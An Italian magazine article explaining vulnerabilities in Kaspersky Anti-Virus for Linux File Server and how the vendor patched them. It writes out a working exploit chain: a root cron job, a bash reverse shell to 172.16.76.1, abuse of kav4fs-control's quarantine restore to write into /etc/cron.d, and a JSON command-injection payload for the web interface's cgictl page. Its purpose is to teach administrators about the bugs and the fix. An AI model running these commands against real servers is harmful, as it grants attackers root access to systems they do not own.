PI Debug/ Kaspersky Linux File Server

La funzione di quarantena dell'antivirus Kaspersky contiene un pericoloso bug che consente a un utente non autorizzato l'accesso ad un terminale remoto

Con l'aumento dell'informatizzazione molte aziende, e persino istituti pubblici (come scuole o amministrazioni locali), stanno cominciando a memorizzare dati importanti in server centralizzati, così tutti gli utenti autorizzati possono accedervi da qualsiasi dispositivo. Tuttavia, c'è un ovvio problema: la diffusione dei virus. Facilitare la condivisione di file con altri colleghi comporta inevitabilmente la possibilità di diffondere malware di vario tipo. Soprattutto in un Paese come il nostro, nel quale gli attacchi con allegati email sono ancora molto diffusi, probabilmente a causa di una generale mancanza di formazione informatica degli utenti. Per risolvere questo problema, sono stati inventati gli antivirus server, che si occupano di controllare tutti i file memorizzati sul server e che pertanto hanno una comoda interfaccia di accesso Web per consentirne l'amministrazione ai tecnici (visto che i server non hanno un ambiente grafico, e un accesso SSH potrebbe essere scomodo per gestire le molte opzioni). Questi antivirus risolvono il problema in modo brillante, contenendo anche l'epidemia: se una volta con una pendrive infettata si potevano colpire decine di computer, ora basta caricare il file sul server e, se è infetto, verrà bloccato impedendo ad altri utenti l'accesso al malware. Questo non significa che gli antivirus server siano la perfezione: sono anch'essi programmi, e come tutti i software possono contenere bug che li rendono pericolosi.
Quando un pericolo per il sistema operativo proviene da un software progettato per proteggerlo, bisogna prestare molta più attenzione del solito. ╚ infatti facile che in casi come questi si finisca per sottovalutare il problema, dando per scontato che l'antivirus risolva qualsiasi cosa: un bravo amministratore non può fidarsi ciecamente degli antimalware, e assicurarsi sempre che non siano proprio loro a creare delle vulnerabilità.

Shell di root in un paio di comandi
Tra i vari antivirus server in commercio, uno dei più diffusi è quello prodotto da Kaspersky. Questo permette, tra le altre funzioni, l'uso della quarantena. ╚ una funzione che hanno un po' tutti i principali software di questo genere e si basa fondamentalmente sull'idea di spostare un file in una "zona sicura" per cercare di rimuovere il malware senza perdere il file vero e proprio (magari un documento). Invece di cancellare il documento infettato, lo si tiene per un certo periodo memorizzato in un formato binario che non permette l'esecuzione del file, ma solo la lettura del suo codice. Così se si trova una soluzione, si può analizzare il file e rimuovere le parti relative al malware, ottenendo poi il documento originale "pulito". Nell'antivirus server di Kaspersky questo lavoro viene svolto dal programma kav4fs-control. Il problema è che quando si svolge questa operazione, il software (che normalmente funziona con l'utente kluser) ottiene i privilegi di amministrazione. Si tratta sempre di qualcosa di pericoloso, soprattutto se come in questo caso il programma non controlla i comandi che riceve. Gli esperti di sicurezza del team Core Security hanno scoperto che per un utente semplice è possibile sfruttare questo mancato controllo per ottenere i privilegi di root tramite il meccanismo della quarantena. Prima di tutto il malintenzionato deve creare un file di tipo cronjob con un comando del tipo:

echo "* * * * * root /tmp/reverse.sh" > /tmp/badcron

Questo permetterà l'esecuzione di uno script shell con i privilegi di root. Ovviamente si deve poi scrivere il file, che potrebbe essere qualsiasi cosa. Anche l'avvio di un terminale Bash su una connessione TCP:

cat > /tmp/reverse.sh << EOF
#!/bin/bash
bash -i >& /dev/tcp/172.16.76.1/8000 0>&1
EOF

In questo modo il pirata può ottenere un terminale remoto con privilegi di root sul sistema. Ovviamente lo script deve essere eseguibile:

chmod +x /tmp/reverse.sh

Utilizzando l'opzione -Q dell'antivirus è possibile per un utente semplice spostare il file cronjob in quarantena:

QUARANTINE_ID=$(/opt/kaspersky/kav4fs/bin/kav4fs-control -Q
--add-object /tmp/badcron | cut -d'=' -f2 | cut -d'.' -f1)

Il comando restituisce l'ID del file in quarantena, grazie al quale sarà poi possibile ripristinarlo. Per memorizzare questo ID in una variabile basta prendere il testo compreso tra i simboli "=" e "." con il comando cut.

/opt/kaspersky/kav4fs/bin/kav4fs-control -Q --restore $QUARANTINE_ID
--file /etc/cron.d/implant

Il malintenzionato può ora, sempre come utente semplice, spostare il file fuori dalla quarantena. Il problema è che mentre lo fa può decidere la posizione in cui vuole mettere il file "ripristinato". Il programma kav4fs-control, infatti, non verifica quale fosse la precedente posizione del file, ovvero quella del momento in cui è stato messo in quarantena: è l'utente ad indicare una posizione qualsiasi. E, siccome questa operazione viene fatta con privilegi di root, è possibile per l'utente malintenzionato scegliere una posizione su cui normalmente non potrebbe scrivere, come la cartella /etc/cron.d/implant. Inserendo qui il proprio cronjob, il pirata ne rende automatica l'esecuzione, e può quindi ottenere un terminale remoto sul sistema su cui è installato l'antivirus.


L'interfaccia Web dell'antivirus Kaspersky con la funzione per la quarantena

Una richiesta HTTP
Tutte le operazioni che abbiamo analizzato possono essere fatte da un utente semplice per ottenere privilegi di root, ma deve essere un utente con accesso al sistema. Quindi se non concediamo l'accesso ad utenti vari, ma soltanto ad una persona che si occupa di gestire il server, siamo più sicuri? No, perché c'è anche un'altra vulnerabilità. Un bug nella pagina cgictl dell'interfaccia Web permette l'esecuzione di comandi a nome dell'utente che sta avviando l'antivirus. Basta creare un piccolo array di elementi in questa forma:

"notifier": { "Actions": [{ "Command": "touch /tmp/pepperoni", "EventName": 22, "Enable": true,
"__VersionInfo": "1 0" }]

E passarlo alla pagina: il comando touch /tmp/pepperoni verrà eseguito ed il file creato. Il comando viene eseguito come utente kluser, che è un utente semplice ma può comunque essere utilizzato per svolgere la procedura che abbiamo presentato per l'ottenimento di una terminale remoto di root.
La richiesta HTTP, con l'array codificato, sarebbe qualcosa di simile a quanto riportato qui.
Il problema è che chiunque abbia accesso all'interfaccia Web dell'antivirus può inviare questa richiesta HTTP, anche più volte (ogni volta esegue uno dei comandi che servono per ottenere il terminale di root). Quindi praticamente chiunque può sfruttare queste due vulnerabilità dell'antivirus per accedere da root al sistema operativo del server.


La prima versione priva del bug è la 8.0.4.312

La soluzione è disponibile
Il bug è presente dalla versione 8.0.3.297 alla 8.0.4.31 di Kaspersky Antivirus File Server: il problema non era troppo facile da risolvere, evidentemente, perché Kaspersky ha impiegato ben 2 mesi per risolvere il problema dall'iniziale segnalazione da parte di Core Security. Ovviamente, grazie all'accordo tra le due società, la vulnerabilità è diventata di dominio pubblico soltanto dopo la pubblicazione dell'aggiornamento che la corregge. Pertanto, se non lo abbiamo già fatto, corriamo ad aggiornare il nostro antivirus per evitare che qualcuno possa accedere da remoto al nostro sistema. Un buon modo per controllare gli accessi, comunque, è eseguire ogni tanto sul terminale il comando last, che indica le ultime sessioni SSH.

AVVERTENZE
Le informazioni contenute in questo articolo sono state pubblicate a scopo puramente didattico, per consentire ai lettori di conoscere e imparare a difendersi dai pericoli a cui sono esposti navigando in Internet o in generale utilizzando applicazioni affette da vulnerabilità.
L'editore e la redazione non si assumono responsabilità alcuna circa l'utilizzo improprio di tali informazioni, che possa avere lo scopo di violare la legge o di arrecare danni a terzi. Per cui, eventuali sanzioni economiche e penali saranno esclusivamente a carico dei trasgressori.